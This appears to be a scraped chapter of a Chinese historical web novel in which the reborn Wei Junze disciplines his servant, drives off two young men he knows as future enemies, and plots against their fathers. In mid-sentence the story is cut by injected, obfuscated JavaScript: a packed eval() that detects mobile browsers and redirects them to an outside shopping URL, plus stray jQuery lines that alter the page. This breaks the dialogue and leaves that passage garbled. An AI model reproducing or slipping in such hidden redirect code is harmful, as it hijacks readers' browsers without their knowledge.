魏清和魏廉一回到府中,便先去库房安置好采买的物件,管家李叔路过看到魏廉,忙过去杵了他一下,小声道:“廉小子你去哪了,三公子回来了,去书房没看到你,正生气呢!”
魏廉听言慌得不行,想起主子那惨无人道的惩罚,便转头正色对魏清道:“小清子,我要离家出走,你就说我去边关找老爷和大少爷了。”说完转头就要跑,结果被魏清一手抓住。
魏清苦口劝说,道:“老爷和大少爷没多久就要回来述职了,你这会去边关能找谁啊?再说了,你跑一个试试,被主子抓回来,可就不是一百遍成语的事了!”
他看魏廉一脸蔫样,又犹豫说:“要不一会我找时机帮你说说情。”
闻言,魏廉立马跟啄木鸟上身似的点头,他抱着魏清的胳膊道:“还是小清子对我好!”
站在书房门口,魏廉心跳快的像刚操练完,他抖着声对魏清,说:“小清子,你说我进去了还……还出的来吗?”
魏清一时有些没听清,看着魏廉“啊”了一声。
只见魏廉脸上带着难得的严肃道:“我房间,柜子左边最底下,有我全部的积蓄,我要是没了……你,你就全拿去,我都给你,还……”
没等他说完,魏清气的给他脑子来了一下,说:“你说什么呢!主子最多让你抄个书,什么没不没的,再说了是副将叔叔让主子多叮嘱你读书的,等叔叔从边关回来考你学问,你一问三不知,多丢人啊。”
魏廉抿着嘴,抱着脑袋,嗫喏着反驳道:“干爹自己都大字不识一个,他能考我啥呀……”
魏君泽此时正在书房中画画,他放下毛笔,对着画纸吹了吹,头也没抬对着门口说了句,“杵在外边干什么呢,进来。”
魏廉一听到魏君泽的声音便立马站直了身,转头和魏清打了个眼色,就一同走了进去。
“说说吧,去哪了?”魏君泽说着便坐下拿起魏廉的习帖翻看了起来。
两人苦脸对视,还是魏清先打破了沉默,他走前一步作揖道:“主子,是这两日府里忙着布置,余不出人手,夫人便命我和魏廉去置办采买。”
魏君泽抬眼看了眼魏清,又转头看着魏廉道:“你呢,你也是?”
只见魏廉在魏清身后一副小鸡啄米的样子,应声道:“是,是的,主子。”只是话音有些没底气,说完还瞟了眼魏君泽的神色。
魏君泽把习帖扔在桌上,理了理袖子,慢条斯理的道:“那想来我们小廉子必定是已经把我安排的内容都学会了吧?”见魏廉面露惊色,他又道:“啊没有啊……那看来……”
魏廉努力挣扎了一下,颤颤抬起一只手,道:“学,学,学了……”
“那我考考你,君子独慎,下一句是什么?”魏君泽问道。
魏廉想了会,翻着眼儿有些磕碰儿道:“不,嗯,不,不弃……。”
魏清一听不对,连忙小声在他耳边提醒,说:“不欺暗室。”
“哦,哦哦,不欺暗室!”魏廉举起一根手指,大声回道。
魏君泽扁着嘴点了点头,又道:“有些磕碰了啊,再来一个,宁向直中取,下一句是什么?”
魏廉绞着手指,嗯嗯啊啊了一会后把眼神瞟向了魏清。
魏清假装咳嗽,道:“咳咳,不可曲中求!”
“啊啊,不可曲中求,哈哈,不可曲中求!好诗好诗!”魏廉说着还假模假样的拍了拍手。
魏君泽眼神在两人之间转了转,最后对魏清挪揄道:“你还真惯着他。”
魏清讪讪笑了一声,小声道:“主子,看破不说破嘛,饶了他这回吧。”
看魏廉一副已经准备好要赴死的模样,魏君泽真真是要被气笑了,哪有人读书跟要了他的命一样,他松口道:“行了,下不为例,不过你后天必须得把这本习帖写完,听到没。”
魏廉如蒙大赦,连忙应是。
“三少爷,马公子和田公子来了,说想要见您。”小厮在门外禀报道,心想少爷要是又跟着这几个纨绔子出去,老夫人必定又要愁眉不展了。
谁知魏君泽一听到这两个名字,便冷笑了一声,咬牙切齿道:“不见,让他们滚。”
小厮应声就要去迎人,听言又突然一愣,回声惊疑问道:“不,不见?”
“你聋了?”魏君泽不耐的皱眉抬眼看着小厮道。
小厮连忙低头道:“是!是三少爷!奴才这就去回了门外两位。”,心中不禁感叹,说:“天老爷开眼,三少爷是真浪子回头了!”
等人都走了,魏君泽拿起方才画好的画看了看,是那日萧瑾舟病卧在雅室时的模样,他摸着纸上萧瑾舟的双眼,嘴上虽道:“棠色艳丽,秋水无情。”心里却想着不知这双眼染上情时,是个什么模样。
“什么!魏君泽不见我们!还要我们滚!你知道我爹是谁吗!”将军府门外,那位马公子哼着粗气,左右踱步指着面前小厮怒道。
小厮捂着被打的脸,惶恐不安道:“是三少爷吩咐的,奴才只是照实传话。”
马公子推开小厮就要往里走,边走还边喊道:“魏君泽!魏君泽!给我出来!”
那小厮见状连忙要拦,马公子见一奴才伸手抓住了自己的衣裳,震怒道:“你这奴才,竟敢拿你的脏手抓本少爷的衣裳。”说着便又要抬手打那小厮。
“马公子!”
巴掌还未落下,一道冷峻的声音先传了过来,只见魏君泽背着手,神情肃然从廊间走来。
一旁的田公子连忙将马公子的手按下,他上前带着歉笑道:“君泽,你别生气,老马也是多日没见你了,心里担心得紧,便着急了些。”
魏君泽瞥了眼小厮脸上的巴掌印,微抬头俯视着两人,阴阳怪气道:“担心?哼,我魏三可担不起二位这样的担心,在我们魏家的门口,掌掴我们魏家的人。”
说着他低下头平视两人,目光凌厉带刀,道:“两位公子,可是看不起我们征远大将军府!”
马公子被魏君泽的话吓得后退了两步,整个人木在那,心有余悸,田公子虽也怔愣了片刻,但他还是扬起温和的笑对魏君泽道:“君泽,我们并无此意,征远大将军征战沙场,威名远扬,乃是国家和百姓的英雄良将,我们心中只会满怀敬意。”
魏君泽勾起嘴角笑看着这位田公子,心想:“瞧瞧,真是个端方君子。”前世就是这个端方君子带头凌虐欺侮魏家人,为了讨好太子将换运旧事重提,甚至连用马拖行这种恶计也是他提议的。
魏君泽皱眉“啧”了一声,顶了顶腮哼笑道:“也是,我们魏家是忠臣良将,既然你们心中是如此想的。”
说着他收笑一步一步慢慢逼近田公子,声音冰冷道:“那为何田大人之前要在朝上参我们魏家拥、兵、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487235|202080||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自、重呢!”
田公子被吓得一屁股坐倒在地,他呆愣的仰视着魏君泽不自觉的咽了咽口水,有一瞬间他居然觉得魏君泽是真的想一把掐死他。
看着他那怂样,魏君泽不屑道:“看来,我魏某与你们甚是合不来,以后二位若是见到魏某,还请记得要绕道走!送客!”
不等小厮去搀扶,早已被吓得两股颤颤的马公子急忙扶起还呆愣在地上的田公子,两人见鬼似的跑出了将军府。
魏君泽看着两人逃跑的背影对身边的李叔道:“以后这两人再来,不用问我,直接赶走。”
李叔心里乐开了花,忙连声应道:“是!是!三少爷!”
魏君泽回到书房,心里想着这两个祸患必须得除了,留着就是一根刺,谁知道哪天就扎手心里了。
他叫来魏廉问道:“你想想你们搜罗的秘事里面,马大人和田大人有没有什么见不得人的事?”
魏廉叉腰戳着脑袋想了想,突然“啊”了一声,拍手道:“那个马大人一年前强抢了一个农户女,事情还闹得不小呢,那农户女的父亲不仅是他们一族的族老还是村里的里正呢,老爷子老来得女疼得紧,闺女多大年纪?那马大人又多大年纪?这哪是姻缘简直是孽缘……”
“说重点!”魏君泽此时可没心思听这些弯弯绕绕。
魏廉连忙应是,说:“哦哦,咳,那老爷子就上门告状去了,结果那马大人硬是拿自己的官职威压,最后不仅闺女没救成,那老爷子也受不住一百棍,去了。”说完,魏廉自己都有些愤恨,气道:“他妈的,简直不是人!”
魏君泽皱眉道:“啧,小小年纪说什么脏话,别的不学尽跟你干爹学这个,那田大人呢?”
魏廉抬手轻拍了一下自己抿着的嘴,接着道:“那田大人比马大人更过分,三年前隆江县地龙翻身,他被命去赈灾,仗着山高路远,偷摸把赈灾粮换成了不知哪找来的陈年粮,里面全是泥粒石子,那粥煮出来都是黑的,遇到流民拦路乞讨,他便命护卫举剑杀之,不分老幼。”
魏君泽手指轻点着桌面,问道:“可都有证据?”
魏廉回道:“马大人之事,他们村里每一个人都知,前不久还让村里的秀才写陈情书呢,只不过都被压下去了,啊那秀才还是那农家女的未婚夫,啧啧夺妻之仇啊,简直就是话本子里的故事。”
魏君泽又抬眼给了魏廉一个眼神。
魏廉尴尬道:“哦哦,说重点!至于那田大人善后的挺好,找不到什么把柄,不过当时被田大人命令下手的护卫,貌似良心有愧,回京便辞官卸职了。”
魏君泽抱臂踱步走了一会,又说:“当时可有其他下官跟着?”
“有的,是田大人的直属下官,钱大人。”魏廉回道。
魏君泽停步问道:“那钱大人为人如何?”
魏廉想了想,满脸鄙夷道:“那钱大人就是个马屁精,跟屁虫,每日就是跟在田大人身后侍奉,哪里像个父母官啊……”
“谄媚好啊,谁有好处给他,他就会挨着谁。”魏君泽闻言眼睛一亮,想了想便弯腰拿起笔开始写信。
封好信口,他递给魏廉,道:“找个机会偷偷送给钱大人。”
魏廉接过挠了挠头,不解道:“主子要干嘛?”
魏君泽脚一蹬坐到了桌案上,咧着嘴坏笑道:“你主子我要给他升官呢!”